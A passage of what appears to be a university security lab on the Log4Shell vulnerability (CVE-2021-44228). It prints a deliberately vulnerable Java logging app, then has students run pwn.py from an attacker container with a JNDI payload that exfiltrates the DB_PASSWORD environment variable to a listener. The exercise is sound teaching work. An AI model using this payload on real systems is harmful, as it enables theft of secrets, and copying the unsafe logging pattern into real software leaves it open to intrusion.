Question 6.9.1.
Do some research: What versions of Log4j are affected by this vulnerability?
nvd.nist.gov/vuln/detail/CVE-2021-44228
github.com/leonjza/log4jpwn
User-Agent
header, request path, and a query string parameter of a request as seen below:
App.java
package com.sensepost.log4jpwn; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; import static spark.Spark.*; public class App { static final Logger logger = LogManager.getLogger(App.class.getName()); public static void main(String[] args) { port(8080); get("/*", (req, res) -> { String ua = req.headers("User-Agent"); String pwn = req.queryParams("pwn"); String pth = req.pathInfo(); System.out.println("logging ua: " + ua); System.out.println("logging pwn: " + pwn); System.out.println("logging pth: " + pth); // trigger logger.error(ua); logger.error(pwn); logger.error(pth); return "ok: ua: " + ua + " " + "pwn: " + pwn + " pth:" + pth; }); } }
pwn.py
scriptgithub.com/leonjza/log4jpwn/blob/master/pwn.py
DB_PASSWORD
. As it isn’t uncommon to store secrets in environment variables on running containers, this should suffice to see just how devastating this exploit can be.
github.com/pearcej/security-log4j
github.com/rxt1077/it230/blob/main/labs/log4j.zip?raw=true
docker-compose up
in that directory. Output should look similar to what you see below:
PS C:\Users\rxt1077\it230\labs\log4j> docker-compose up [+] Running 2/0 - Container log4j-target-1 Created 0.0s - Container log4j-attacker-1 Created 0.0s Attaching to log4j-attacker-1, log4j-target-1 log4j-attacker-1 exited with code 0 log4j-target-1 | WARNING: sun.reflect.Reflection.getCallerClass is not supported. This will impact performance. log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.util.log - Logging initialized @815ms to org.eclipse.jetty.util.log.Slf4jLog log4j-target-1 | [Thread-0] INFO spark.embeddedserver.jetty.EmbeddedJettyServer - == Spark has ignited ... log4j-target-1 | [Thread-0] INFO spark.embeddedserver.jetty.EmbeddedJettyServer - >> Listening on 0.0.0.0:8080 log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.Server - jetty-9.4.z-SNAPSHOT; built: 2019-04-29T20:42:08.989Z; git: e1bc35120a6617ee3df052294e433f3a25ce7097; jvm 11.0.14+9-post-Debian-1deb11u1 log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.session - DefaultSessionIdManager workerName=node0 log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.session - No SessionScavenger set, using defaults log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.session - node0 Scavenging every 600000ms log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.AbstractConnector - Started ServerConnector@401fccd3{HTTP/1.1,[http/1.1]}{0.0.0.0:8080} log4j-target-1 | [Thread-0] INFO org.eclipse.jetty.server.Server - Started @960ms
target
service is up and running the log4jpwn
example application and that its output goes straight to the screen. The attacker
service will exit immediately as it is meant for interactive use and doesn’t run anything in the background. In another terminal, navigate to the lab directory again and run docker-compose run attacker bash
. This will be the shell that you use to attack the target:
PS C:\Users\rxt1077\it230\labs\log4j> docker-compose run attacker bash root@3971c61303c8:/(1)
ip
command to determine the IPv4 address of your container by typing ip addr show dev eth0
. We will need this since the attacker
container will be listening for connections from target
once the exploit string is logged.
root@3971c61303c8:/# ip addr show dev eth0 58: eth0@if59: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet <IP_ADDRESS>/16 brd 172.20.255.255 scope global eth0 (2) valid_lft forever preferred_lft forever
<IP_ADDRESS>
it is whatever you find in its place!
pwn.py
script on the attacker
container and you should be able to read the DB_PASSWORD
environment variable on the target
container. by typing: python /pwn.py --listen-host <IP_ADDRESS> --exploit-host <IP_ADDRESS> --target http://target:8080 --leak '${env:DB_PASSWORD}'
root@3971c61303c8:/# python /pwn.py --listen-host <IP_ADDRESS> --exploit-host <IP_ADDRESS> --target http://target:8080 --leak '${env:DB_PASSWORD}' (3) i| starting server on <IP_ADDRESS>:8888 i| server started i| setting payload in User-Agent header i| sending exploit payload ${jndi:ldap://<IP_ADDRESS>:8888/${env:DB_PASSWORD}} to http://target:8080/ i| new connection from <TARGETS_IP>:44050 v| extracted value: <DB_PASSWORD> (4) i| request url was: http://target:8080/ i| response status code: 200
DB_PASSWORD
will be here.